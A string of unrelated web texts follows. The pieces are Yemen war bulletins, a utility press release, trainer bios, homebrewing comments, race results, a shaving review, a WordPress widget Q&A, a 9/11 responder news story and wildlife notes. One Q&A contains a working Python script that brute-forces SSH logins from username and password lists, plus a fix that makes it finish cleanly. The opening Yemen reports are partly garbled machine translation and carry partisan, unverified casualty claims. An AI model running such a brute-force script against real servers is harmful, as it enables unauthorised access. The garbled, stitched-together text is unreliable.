In the governorate of Hajjah security source confirmed in a room to maintain operations, the Saudi aviation carried out two raids targeted "dispensary Glory" Directorate Mstbo, on Wednesday morning, and came back the same place targeting pm Drepettan strikes.
He cited a number of citizens due to intense raids Airline Saudi aggression on the houses on the western side of the city of Taiz, sources reported that a number of citizens were martyred and others were injured by the raid targeted a house in the Old Airport neighborhood led to completely destroyed, many Almgeorh.oon houses and damaged about 15 raid were distributed the neighborhoods: the airport, al-Rubaie, west of the city, and Aljehmlah, lounge, on the eastern side of the city, on Tuesday evening.
The Saudi warplanes waged on Tuesday air raids on al-Saifi area in Sehar district of Sa'ada province, a security official said.
The official added the Saudi warplanes targeted a house with four raids in al-Saifi area and destroyed it completely, the official added.
Moreover, the warplanes launched two raids on telecommunications network in Bani Bahr area in Saqain district which led the cut off the network in the area, he said.
Saudi bombed my hometown alSaddah again yesterday. Sana'a early morning too. UK MP saying Houthis ones doing it, w/ invisible jets..
Yemeni forces have seized a strategic military position in Saudi Arabia's southwestern border city of Najran, inflicting heavy losses on the regime's forces in the ensuing clashes.
The Yemeni army backed by the popular forces and Houthi Ansarullah fighters conducted a surprise attack on the Saudi troops controlling Snipers' Peak vantage point over the city of Najran and raised the Yemeni flag there.
Yemen's al-Masirah television released footage on Wednesday showing Saudi forces hastily fleeing from the area, leaving behind their equipment.
During the operation, the Yemeni army and allied forces killed or injured an unspecified number of Saudi forces. They also destroyed and seized a tank and several armored vehicles as well as ammunition abandoned by the Saudi troops.
Comment by Judith Brown: Just going backwards in time - the Houthi-Saleh alliance are once more attacking southwest KSA like they did at the beginning of the war. They withdrew before the start of talks as a goodwill gesture, but it didn't work. So now they are back.
30 min #Yemenarmy video with spectacular views of Najran city, #KSA& ludicrous scenes of #Saudisoldiers fleeing.
Hirelings pound areas in SerwahThe Riyadh's hirelings shelled on Wednesday some areas in Serwah district of Mareb province, a local official said.
The official added that the hirelings targeted randomly houses and farms in al-Matar, Nushor and Hailan areas causing huge damage to them.
The army and popular committees fired on Tuesday a ballistic missile on hireling gatherings in Mareb province.
The missile force fired a Qahir 1 rocket on Tadaween military camp in the province, a military official said.
Army fires missile on al-Falaj camp in MarebThe missile force of the army and popular committees launched on Tuesday a missile on hireling gatherings and al-Falaj camp in the south of Mareb city.
The missile of Zelzal-3 type targeted hirelings and invaders operations room at the camp and hit its target accurately, a military official said.
He pointed out that hirelings and invaders incurred big losses.
A Saudi soldier was shot dead on Tuesday by a sniper unit of the army and popular committees in al-Kars site in Jizan region, a military official said.
A Bradley vehicle was destroyed in al-Kars site in Khubah city in Jizan, the official added.
The army and popular committees pounded al-Shabaka military site in Asir region with a guided missile which led the destruction of an Abrams tank, the official pointed out.
Army control Shaibani and other sites in Assir.
The army and popular committees foiled the hireling attempt to advance towards amount Hreem and al-Mellh area. Causing to 52 of the mercenaries were killed and 80 were injured in the attempt, the official added.
At least eight Riyadh's hirelings were killed on Tuesday by the army and popular committees near al-Aqaba east of al-Hazm city in Jawf province, a military official said.
The official added the army and popular committees pounded the hirelings' military vehicle with a guided missile which led the burning of the vehicle, killing eight.
Army launches rockets on JawfThe missile force of the army and popular committees fired on Tuesday barrages of Katyusha rockets on hireling gatherings in Jawf province, a military official said.
The Katyusha rockets targeted the governmental compound and the 115th Brigade camp in al-Hazm city in Jawf, the official added.
He pointed out the rockets hit their target, killing or injuring a number of the hirelings.
Saudi artillery pounded Shada and Munabah districts causing huge damage to houses and agricultural farms.


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Con Edison Wins Award for Outstanding System-Wide Reliability
New York Utility Also Receives ReliabilityOne(TM) Award for Northeast Region
WASHINGTON, DC, Nov 18, 2010 (MARKETWIRE via COMTEX) --
Con Edison has been named winner of the 2010 Outstanding System-Wide Reliability Award by PA Consulting Group. The award recognizes the PA Consulting Group ReliabilityOne(TM) regional award recipient that demonstrated superior annual system-wide reliability performance for its customers.
The ReliabilityOne(TM) Awards are given annually to utilities delivering the most reliable electric service to their customers. Con Edison customers in New York City and Westchester County have fewer interruptions than other utilities.
"Con Edison is once again gratified to receive this honor," said John Miksad, Con Edison senior vice president, Electric Operations. "We strive for continuous improvement to provide safe and reliable service to our customers. The ReliabilityOne(TM) recognition is a tribute to the Con Edison men and women who deliver electricity to the world's greatest city, as well as to nearby Westchester County. We appreciate all of the professionals who light up New York and make it their business to provide our customers with the most reliable electric service in North America."
During the hottest summer ever, Con Edison delivered more electricity in July than in any other month on record, while avoiding major power outages. Con Edison delivered 6.9 million megawatt hours (MWh) of electricity that month, eclipsing the record 6.7 million MWh record set in July 2008. No single-day records for peak electric use were set, reflecting the success of company demand side management (DSM) programs, as well as company energy efficiency programs.
All utilities operating electric delivery networks in North America are eligible for consideration for the ReliabilityOne(TM) Award. There are a total of five regional awards including Northeast, Mid-Atlantic, Midwest, Plains, and West. The selection of provisional recipients is based primarily on system reliability statistics that measure the frequency and duration of customer outages. After provisional recipients are selected, each company undergoes an on-site certification process, which provides an independent review and confirmation of the policies, processes and systems used to collect, analyze and report a company's reliability results.
"Con Edison has set the industry bar for electric system reliability, implementation of exciting new technologies, and total commitment to the safe and effective restoration for customers," said Jeff Lewis, PA's ReliabilityOne(TM) program director. "Con Edison has demonstrated the best in reliability performance and their customers have been the beneficiaries."
About Con Edison
Con Edison is a subsidiary of Consolidated Edison, Inc. (NYSE: ED), one of the nation's largest investor-owned energy companies, with approximately $13 billion in annual revenues and $35 billion in assets. The utility provides electric, gas and steam service to more than three million customers in New York City and Westchester County, New York. For additional financial, operations and customer service information, visit us on the Web at www.conEd.com, at our green site, www.coned.com/thepowerofgreen, or find us on Facebook at Power of Green.
About PA Consulting Group PA Consulting Group is a leading management and IT consulting and technology firm. Independent and employee-owned, we operate globally in more than 30 countries and transform the performance of major organisations in both the private and public sectors.
From initial idea generation and strategy development through to detailed implementation, we deliver significant and tangible results. We have outstanding technology development capability; a unique breadth of skills from strategy to performance improvement, from HR to IT; and strong expertise in communications, media and entertainment, defence, energy, financial services, government and public services, healthcare, manufacturing, and transportation and logistics.
Con Edison Media Relations
Lisa Freeman
PA Consulting Group (PA)
SOURCE: Con Edison Co. of NY, Inc.

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Ben Longley is the owner and one of the personal trainers here at The Fit Stop. He has been a PT for over 12 years and has worked with hundreds of clients over that time in both a private and group setting.
Ben has a certificate IV in fitness & studied Health Science (Human anatomy & physiology) at La Trobe University.
He is a Certified Strength and Conditioning Specialist (CSCS) with the National Strength & Conditioning Association (NSCA) and is certified to conduct the Functional Movement Screen (FMS), a ranking and grading system that screens movement quality and movement patterns that are key to normal function & injury prevention.
The FMS is used world wide amongst professional athletes and sporting teams including NFL, MLB, NHL, NBA, as well as Special Ops military personnel.
Ben has always had a strong interest in the human body and the many facets of health, fitness, performance & nutrition. He adopts a mindset of 'constant learning', with a love & appreciation of science and critical thinking, and an open mind that likes to 'think outside the box'.
Whilst cliched, the Bruce Lee quote 'Adopt what is useful, reject what is useless' has always resonated with Ben and perfectly describes his approach to health, fitness, training and life in general.
Matt has a certificate IV in Fitness, and is an accredited Level 1 coach with the ASCA (Australian Strength & Conditioning Association) and is also an AFL accredited junior football coach.
A lifelong learner, he is currently completing a Bachelor of Exercise Science at Victoria University and has had over 6 years of coaching experience as a personal trainer, training people from all walks of like, in both a private and group setting.
Matt became a PT because of his love of movement, or 'body management' – something he discovered in studying traditional Japanese martial arts (Wado Karate).
Since becoming a PT, he has learned of the many, varied benefits of strength training, and this, combined with the body management approach, fuels his passion for showing others the potential they have for their own healthy rewards!
His training philosophy is: train hard, learn as much as possible about the process, then train smarter and harder.
Rest, play and terrific eating are also vital or maintaining a quality of life.
Matts' personal interests include: Science, cooking, art and drinking fine ales (in moderation, of course!).
Matts' family is his constant inspiration: two fabulous sons, one fabulous daughter and, of course, one fabulous lady!
Hayley Dillon studied Exercise and Sport Science at Deakin University, graduating with a high distinction average and a double major in Exercise Physiology and Sports Nutrition .
Following the completion of her Bachelor's degree, Hayley received an ESSA accreditation as a Sports Scientist, and is currently studying to complete her Honours Research Degree with the aim to complete an additional PHD in Exercise Science.
She is also an accredited Level 1 coach with the Australian Strength & Conditioning Association.
Hayley has a wide range of PT experience, and has trained everyone from complete beginners in fitness to nationally ranked athletes. She has been a strength & conditioning assistant coach for swimmers & cricketers, trained the staff of doctors & nurses at the Royal Children's Hospital Fitness studio, and has worked with plenty of regular everyday people from all walks of life, ranging from 3-75 year old.
Hayley's interests outside of studies and training include Netball, Basketball, Soccer, Running and eating Mangoes!
Cyrus has been a certified personal trainer for approximately 4 years, completing his cert 3 & 4 in fitness in 2014 after completing a Bachelor of Biomedical Science at Monash University.
Cyrus is currently in his 3rd year studying a Doctorate degree in Medicine.
A lifelong health & fitness enthusiast, Cyrus likes to utilize a blend of traditional strength training, functional training and corrective exercise where needed, for a comprehensive, fitness regime based on long term, sustainable progress. Cyrus also likes to keep his sessions interesting & fun where possible, whilst sticking to tried & true methods and not quick fix solutions or training fads.
Studying medicine, whilst at the same time working with regular, everyday people in the gym who want to improve their health & fitness, Cyrus is in a unique position to blend his constantly expanding knowledge of the human body & how it works with the practical side of helping people get fit & healthy.
Ethen completed his certificate 3 & 4 in fitness in 2012 after completing a Bachelor of Science at Monash University, he subsequently went on to study a Bachelor of Clinical Science / Master of Osteopathy at Victoria University.
He is currently completing his final year of studies in Osteopathy.
Ethen loves working with people, and this shows in his enthusiasm for sharing his knowledge with his PT clients and blending the theory & knowledge he has acquired with the practical application to get results.
His other self interests include digital photography, music, and traveling & trekking.
Ethen has travelled to Peru, Bolivia, Argentina, Uruguay, Vietnam, U.S.A (East Coast and South), Hawaii, Bahama's /Caribbean islands, Mexico, Nepal, Myanmar, India, Laos, and central and east coast Australia.
Alan has completed a Bachelor of Science (with honours) in Sports Science & Exercise Physiology from the Athlone Institute of Technology in Ireland.
During his 4 years of university study, Alan was actively working in the field as a strength & conditioning coach, having been involved with many different sports teams ranging from Rugby, Gaelic Football, Hurling and Soccer.
Alan has worked with people of all ages, and of various skill levels, ranging from high level athletes to beginners. This has given Alan a good understanding of the importance of being an effective & diverse coach, and catering to the differing wants and needs of individuals, during their different stages of physical development and training.
Alan is a big proponent of mastering the fundamentals first and taking the time to teach the finer details of proper form and technique in order to minimise injury risk and ensure long term progress and lasting results.
After spending many years advocating health & fitness in his home town of Westmeath in Ireland, Alan is continuing this passion in Australia where he now resides.
Adam studied Exercise and Sports Science at Deakin University, before completing a Masters of Exercise Science (Strength and Conditioning) at Edith Cowan University.
He is a Level 1 Strength and Conditioning coach with the Australian Strength and Conditioning Association (ASCA), a Level 2 Representative Cricket Coach with Cricket Australia and a Level 1 Sports Trainer with Sports Medicine Australia.
Adam is the current Strength & Conditioning coach for the Melbourne Vicentre Swimming Club at MSAC, coaching state and national level swimmers of all ages, and overseeing their long-term athletic development program.
Adam is a true 'student of the game' and loves learning, teaching & coaching, and has a passion for helping others get the best out of themselves, whether it be elite athletes or general population.
Tara has a cert 3 & 4 in personal training, Masters degree in Health Promotion and studied sports and exercise science in Edinburgh.
After initially focusing her studies on public health – obesity, diabetes, mental health etc. Tara started becoming interested in helping people with their health on a more individual basis, leading to becoming a personal trainer.
Tara loves to learn about the human body, and how we can use it in many different ways, and is a big advocate for good nutrition, exercise & daily movement for optimising both mental & physical health & wellbeing.
As a result of her broad interests and passion for learning, Tara is well versed in a variety of training methods, incorporating strength training, gymnastics & bodyweight, & 'functional movement' in to her training and that of her clients. She also currently trains in boxing and kickboxing.
Always staying active, Tara is a big fan of the outdoors and loves to get out and about for some hiking, mountain climbs and has even done a few mountain bike races!


In this episode, Chip brews a low-gravity saison. With the help of a rather unique setup, he pushes primary fermentation into the upper range of temperature. Guest host Don Osborn joins Chip to demonstrate other methods homebrewers can use to raise the temperature during primary fermentation. Then, we join Michael and Jake for a quick tasting notes session on the kellerbier version of the double decoction dunkel brewed back in Episode 34. And how about a Brewing TV Sing-Along!?
Good Webpage, Preserve the great work. Regards.
Great episode BTV!!!! I can sympathize about temperature control, but I'm usually trying to keep ale temps down during the summer here in central VA, and using a tub of water with changing out ice packs works pretty well on the cheap. The sing-along was priceless. Great work!
Love me some Saison's. Even better was the "Farmhouse" cover. I haven't gone the route of temp control for Saison's yet as I've always just brewed them in the heat of summer so I appreciate the video and the different methods to heat it up! Even in the summer, in the attic, I could still use some more heat!
I'm with the first post and would love to see some tips like this to keep temps down.
The first beer I ever brewed was a Saison and it worked out pretty well. I chose it specifically because of the time of year I made the beer (May) and where I am (NY).
A spray bottle to tame boil overs works amazingly well... after a boilover the other night, I grabbed my g/f's water spray bottle and used it to prevent boilover on batch #2. It's now a part of my equipment.
Great ep brewing tv! I have never done this, but you should try hot packs! Like for sports injuries or hand warmers. It isnt as controlled as a heater of course, but I bet you could make that bucket pretty toasty! Especially if you need the yeast strain to really get down in gravity. Keep it going BTV!
Nice episode. I've been using the same aquarium heater temp control method for Belgians this winter. I love the control/consistency it provides, especially when wanting to ramp up a degree or two a day.
Why do a starter for a 1.035/1.044 beer? I like to under pitch Saisons to encourage more spicy esters. Either way, it looks like you brewed a nice beer.
@ Bee - I didn't necessarily make the starter "for" the beer. I made the starter to make sure the nearly 8-month old packet I uncovered from the dark recesses of the fridge would still be viable. Sort of a forced fermentation, I suppose. Thanks for watching and leaving a comment.
@ MacQ - Target, baby!
Got it. Good call Chip.
Great jam at the end BTW.
Need to make me some saison, stat! It'll be hot enough in my upstairs apartment to do it the old fashion way. I have used the electric fermentation heater before and it worked great!
Chip, I bet your saison tastes like patchouli, corduroy patchwork pants and hemp necklaces, SNAP! Don't beat me up. Just playing, love ya Chippy, great episode!
Man it was fun to watch this. It was good to see the formulation of your recipe long before the beer was finished and we did the tasting. "Keep Austin Weird." You run your brewpot pretty full. Watch it!
Ha, great edit when we were talking about what yeast strain I used instead of the NB one. Good job with our tasting. That came together nicely.
The Farmhouse section is decent. Hey, what do people want for free?! "Jake and Micheal, where are you?!" I didn't expect all of that to make the final cut, ha.
Man. fun times. Nice job Chip Walton.
FYI: BrewBrothers.Biz sells my wife's Carboy Cozies under "Misc Brew Gear." They are great for keeping out the light, insulating (fleece), and in the summer you can just set them on a shallow pan of water for cooling. The water wicks up the cozy and evaporates to cool the ferment a few degrees. She should have them up in an Etsy store pretty soon too.
I am cooling or heating upwards of 8 carboys at a time though, so the big box is the only way to go. Temp controlled heater and AC unit. I do need to get myself a couple heating pads for those times when I need a belgian or saison higher then the rest.
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You are a man of many talents Chip! Congrats on another great episode! When are you free to come out and brew w/ Lucid?!
Great episode as usual. I don't understand the trouble most guys have regarding temp control (hot or cold) and the effort many go to to sort it. I'm lazy and sorted it quick and easy for minimal cost.
1st get a cheap 2nd-hand fridge.
Wire up, plug in and go. Just feed the wiring through the door, the draught proofing moulds round it so there's only a small gap (no need to drill holes).
I just tape the temp probe to the side of the fermenter. Apparently this gives a more accurate reading than popping it in some water (like Don) as the fermentation reaction creates it own heat so the bowl of water isn't at the same temp! To negate errors when opening the fridge door I just tape some bubble wrap over the probe once it's on the fermenter.
I've fermented high and currently lagering at 2C.
Hope the links work and this helps.
great episode. love the sing along.
don osbourne rocks, been a fan of his site since brewing was only an idea i was pondering.
now im taking the AG leap, 1 year later.
more episodes with him as a guest??????????
him and dawson brewing in the garage???????
Never ever saw the Northern Lights... Watch out for those cluster flies DonO... ...er 'round the airlock, that is, now that it's Spring... or they'll run like an antelope out of control. ...um, yeah.
What did he say about a firm box???


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Q: Python script seems to be hanging I have an SSH server that I've been testing a script that performs dictionary based attacks against. Generally, I use a single username:password combination file and loop through it, but recently I decided to modify my hobby script to allow for separate username and password combinations. I figured it would be a simple nested loop (I chose to store the passwords in a list instead of a file which I use for the usernames). Unfortunately, adding that second loop seems to have caused the program to hang for some reason that I just can't pinpoint. I feel like I'm missing something incredibly obvious here. The program execute fine and works as expected but it never seems to actually return...the script just hangs after finding the correct combination and never exits properly...I have to terminate it manually. The offending block is below...this is part of a larger method inside of a class I call from my primary script. The method is called and then the main script just exits so there's nothing there that would be causing this.
with open(self.pwds) as p:
    pwords = p.read().splitlines()
    try:
        format_text = colored('WARNING', 'yellow', attrs=['underline'])
    except:
        format_text = "WARNING"
    print (format_text, "warning_message")
    with open(self.words) as w:
        for line in w:
            line = line.replace("\n", "")
            user = line
            for x in pwords:
                passw = x
                print ("Trying: ", user, ":", passw)
                s = paramiko.SSHClient()
                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

A: Thank you everyone for the attempts at solving this problem. I found the answer. I needed to close the SSH connection even on fail as indicated below.
                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                        s.close()
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

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Defending champion Eilish McColgan and Andrew Heyes broke the course records to win the Percy Pud 10k in Sheffield on Sunday (December 3).
McColgan took nine seconds off her own course record en route to winning the women's race in 32:23, finishing second overall. It concludes a fantastic year for the Olympian, who finished tenth in the 5000m final at the Wolrd Championships in London this summer.
The Scottish athlete set multiple personal bests on road and track during 2017. In recent weeks the GB international ran impressively at the Machester Road Race (USA) and won the Leeds Abbey Dash in course record 32:05.
Local athlete Heyes from Hallamshire was a clear winner in the men's race. The Team New Balance Manchester runner broke the tape in 29:40 to better Mohammed Abu-Rezeq's 29:57 course record.
Second male but third finisher overall was Steve Franklin (Totley AC) in 32:34 and third male was Andrew Challenger also with 32:34. It is worth mentioning that although finishing with a gun time of 34:28 and in 15th position, Abu-Rezeq actually ran a chip time of 30:16, indicating the Altrincham athlete must have missed the start.
Behind McColgan, the second female was Calli Thackery (Hallamshire) who finished in 35:16. Sheffield Running Club's Sarah Lowery in third clocking 36:25.
Jack Morris and Kirsty Longley won the Stockport 10, while Matt Sharp and Lucy Reid won in Portsmouth at the Victory 5. Elsewhere, Carl Hardman and Emily Kearney won the third match of the Manchester Cross Country League.
In Europe, Steph Twell finished third at the Course de l'Escalade in Switzerland. Round-ups can be found below.
On the undulating course that starts and finishes in Woodbank Park, home to Stockport Harriers, it was very apt that Jack Morris of the home club crossed the line first in a time of 51:11.
Morris who has previously placed second in 2014 at the Stockport 10, knows the course well as does clubmate Jack Nixon who finished second clocking 51:46. In third place it was Gareth Raven in 53:22. The Sale Harriers runner also finished runner-up at the Manchester Area Cross Country League yesterday.
In the women's race Kirsty Longley of Liverpool, Pembroke and Sefton took the win in 59:13. Longley beat Veleska Wills to the win. The Derby AC athlete clocked 61.04 for second, with Carla Stansfield (City of Hull AC) third in 61.38.
On the South Coast, Matt Sharp won the Victory 5-mile race in a time of 23:58. The Enfield Haringey AC finished ahead of Joe Wade of Aldershot Farnham & District in second with 24:47. While Chris Powner of Winchester took third in 25:13.
Lucy Reid of Tonbridge AC won the women's race in 27:34. Laura Brenton of Southampton AC finished second in 27:48 and Beth Kidger (Brighton Phoenix) was third with 27:53.
At that the same venue that hosted the annual University Cross Country relays four weeks ago, the Manchester University fields staged the third match of the Manchester Cross Country League.
Carl Hardman held off the challenge of Gareth Raven of Sale Harriers in the closing stages to take the victory in 32:58 with Raven one second behind.
Most recently Hardman of Salford Harriers ran 2:19:35 at the Berlin Marathon. This was his first race back after a short break following the marathon. Matt Barnes finished third in 33:11 and fourth was Andy Norman of Altrincham AC in 33:18.
Wirral AC's Emily Kearney was the winner of the women's race in 25:48. Kearney who is currently studying at SCAD Atlanta in America looked strong having already competed in six cross country races so far this season.
Macclesfield Harrier Sarah Stockman finished second in 25:55 with Anne Kenchington, who won the previous fixture at Boggart Hole Clough settling for third.
In the team results, Sale Harriers won the senior men's match followed by Salford Harriers. The women's match was won by the University of Manchester team.
GB international Steph Twell clocked 24:02 to finish an impressive third at the 40th edition of the popular Swiss road race. The women's race was won by Helen Bekele in 23:49 two seconds ahead of Kenyan Maggie Masai with 23:51 over the 4.8km course.
Twell, who finished 9th at the GB Trials in Liverpool last week, now has her sights on Slovakia, where the Scot will represent Britain for the ninth time at the European Cross-country Championships.
Other British results came from Stephanie Barnes (Bristol and West AC) in 12th with 25:39.
The top British runners were Dan Studley (Bristol and West AC) who showed a great return to form to finish ninth and just behind Swiss international Abraham Tadesse. Studley finished in a time of 21:57, one place in front of Liverpool's Jonny Mellor with 21:59. Irishman Daire Bermingham was 25th clocking 22:45.
Completing the podium was Fredrick Kipkosgei Kiptoo of Kenya in 21:07 with Abel Sikowo of Uganda taking the third spot with 21:37.
Over in Japan, there was a new European Marathon record set by Norwegian Sondre Nordstad Moen on Sunday (December 3). The 26-year-old clocked 2:05:48 at the Fukuoka Marathon to become the first European to break the 2:06 barrier. A report can be found here.


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Barrister and Mann "Hallows"
Shaving Product Review - Barrister and Mann "Hallows"
Today's SOTD was hauntingly good! Courtesy of the highly anticipated Barrister & Mann Hallows #soap and #aftershave!
Check out my #MailCall and first impression of Hallows from yesterday which gives quite a bit of detail and background, especially of the packaging, so be sure to check that out as well. Today's it's all about using the stuff!
As I mentioned yesterday, and as people familiar with #BarristerMann soaps know... You can't huff a virgin tub. It just doesn't give you the true scent. In fact, I think not giving these soaps a proper break-in is what scares a lot of people off... Give them a chance by lathering them a few times. I didn't do any test lathers, so as I do once in a blue moon I bloomed the puck slightly. Not surprisingly, a little bit of an oily liquid immediately formed. Once lathered, things improved immensely, scent-wise. I suspect that over the next couple of shaves, it will continue to improve - just as Leviathan and Lavanille did for me (and blossomed into truly incredible scents).
The soap is a light brown color, and the lather generated was also lightly brown. Not as much as Lavanille which can be much darker, depending on the oxidation of the vanilla. Typical ease of generating lather - just load a bit heavier than with other soaps you might be accustomed to. Add water to taste; the soap can take it. I don't find it overly thirsty but I may just be used to thirstier soaps. I also bowl (scuttle) lather.
The lather was typical B&M - copious in quantity, super creamy, cushioning and slick! I had plenty of it in the scuttle for a nice three-pass shave. The heat of the scuttle, besides keeping the lather warm - filled the bathroom with the scent. It really doesn't get much better than this, especially in the cooler months. Speaking of the scent...
The official scent profile is oakmoss, cedar, cocoa absolute, black pepper, labdanum and Sri Lankan vetiver. Some have described it as "chocolate covered death and decay." Dark, earthy, smokey and chocolately are some adjectives that come immediately to mind.
On top I get a sort of sweet, woodsy oakmoss... It mutates slowly into a green, peppery scent, but there's more going on here. The bite of pepper fades as the labdanum and cocoa absolute middle notes dance with the top notes. Towards the bottom, the Sri Lankan vetiver starts to grab you. This is not your happy, bright green vetiver. This version is deep, full-bodied and complex in its own right. Still green - but darker... Smokey, with definite wood/root notes. Once fully dried down, there's an underlying chocolately note present from the cocoa absolute.
Between the soap and aftershave, the aprés-shave face feel is among the best out there. Not overdone, just the right amount of moisturizing without feeling greasy or tacky. Yesterday and even this morning, I had the sense that the silage (projection) of this scent wasn't as strong as the others - or at least, different; less "obvious." Turns out that's not the case. It's definitely there - but perhaps more subtle. I catch whiffs of it regularly, and a co-worker noticed it also. I look forward to it haunting me all day - it's scary good! :)
The hardware today was the #Merkur #Futur razor fitted with a #PolSilver blade on shave four. The titanium-handled #BSB Shaving Brush made quick work of generating the plush suds in the #GTP scuttle. An easy BBS result was had!
Truly outstanding shave today with some equally outstanding software. If you missed out on Hallows this year, that's too bad. But take heart; scents like Leviathan and Lavanille are also wonderful, as are the rest - with equal performance. Consider any of B&M's products and you won't be let down. I've been a fan since July and now I can't get enough.
Barrister and Mann "Hallows" - Last Chance!
B&M "Hallows" - First Impression
SOTD - December 3, 2015


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Q: More than 1 widget in wordpress Following is my code
$op=array("description"=>"Ads Widget");
    wp_register_sidebar_widget('adswidget','Ads','ads_widget',$op);
    register_widget_control('adswidget','ads_widget_control');

I can use only 1 Ads Widget. I want to use more than 1 Ads Widget ? How to write it ? I'm finding in google and still not found.
Still not found document on
http://codex.wordpress.org/Function_Reference/wp_register_sidebar_widget
also.

A: By default all widgets that are created using the widgets api are multi instance.
The code you have above is the old method before WordPress 2.8.  Now you just need to extend the widget class and add some functions.  Default Example:
class My_Widget extends WP_Widget {
function My_Widget() {
    // widget actual processes
}

function form($instance) {
    // outputs the options form on admin
}

function update($new_instance, $old_instance) {
    // processes widget options to be saved
}

function widget($args, $instance) {
    // outputs the content of the widget
}

}
register_widget('My_Widget');

See Codex Page: http://codex.wordpress.org/Plugins/WordPress_Widgets_Api

A: I like the solution above as it's much simpler and easier to implement, but here is another method of multi-widgets which sort of provides a behind the scenes look as well...
http://justcoded.com/article/wordpress-multi-widgets/


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Retired NYPD detective who testified to Congress about extending 9/11 Victim Compensation Fund now in hospice care
By Thomas Tracy
Retired New York Police Department detective and 9/11 responder Luis Alvarez testifies JUne 11 at a House Judiciary Committee hearing on reauthorization of the 9/11 Victim Compensation Fund. (Zach Gibson/Getty Images)
A cancer-stricken retired NYPD detective who implored Congress to extend a federal fund for those sickened at Ground Zero has landed in hospice care.
Luis Alvarez was admitted a day after he testified to a congressional committee demanding that the 9/11 Victim Compensation Fund be extended and fully funded.
"I'm now in hospice, because there is nothing else the doctors can do to fight the cancer," Alvarez, 53, told supporters on social media Wednesday. "It had nothing to do with my trip to DC, that was just coincidence.
"The day after my trip I was scheduled for chemo, but the nurse noticed I was disoriented," he wrote. "A few tests later they realized that my liver had completely shut down because of the tumors and wasn't cleaning out the toxins in my body and it was filling up with ammonia, hence the disorientation. So now I'm resting and I'm at peace. I will continue to fight until the Good Lord decides it's time."
Looking gaunt and frail, Alvarez testified with former "Daily Show" host and 9/11 survivor supporter Jon Stewart on June 11, claiming that he wouldn't be in the congressional hearing room at all if the legislators had acted sooner.
"I should not be here with you, but you made me come," said Alvarez, reading his remarks slowly. "You made me come because I will not stand by and watch as my friends with cancer from 9/11, like me, are valued less than anyone else because of when they get sick and die."
Retired NYPD detective and 9/11 responder Luis Alvarez, left, and former "Daily Show" host Jon Stewart, right, are sworn in before testifying during a House Judiciary Committee hearing on reauthorization of the 9/11 Victim Compensation Fund on June 11 in Washington. (Zach Gibson/Getty Images)
Alvarez said he underwent 68 chemotherapy treatments before last week's congressional testimony.
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Stewart and other 9/11 survivor supporters have been lobbying hard to get the fund extended.
The committee passed the bill extending the Victim Compensation Fund last week. Stewart spent the earlier part of this week embroiled in a war of words with Senate Majority Leader Mitch McConnell (R-Ky.) — which included a visit to "The Late Show With Stephen Colbert" — challenging him to pass the extension.


Growing among Gratiola peruviana on the edge of a pond that is slowly drying up.
In an area usually waterlogged - edge of a pool.
Distinctly yellow in flight and on landing. Gives a few wing flaps on landing before resting. This species might merge with C. insulsata (see CD that comes with Moths of Victoria 3). New species record for Riddells Creek.
Diptera spp. Fly Bibionidae spp.
Suzanne Jones These look like some of the flies in the Bibionidae family.
Russell Best Thanks Suzanne. I agree and will update the ID.
Seems to be flowering earlier than usual?
Saw it swoop down then up to gradually higher perches. Couldn't see ground but it was disturbed by two kangaroos 30s after swooping down. Perched for 5 minutes.


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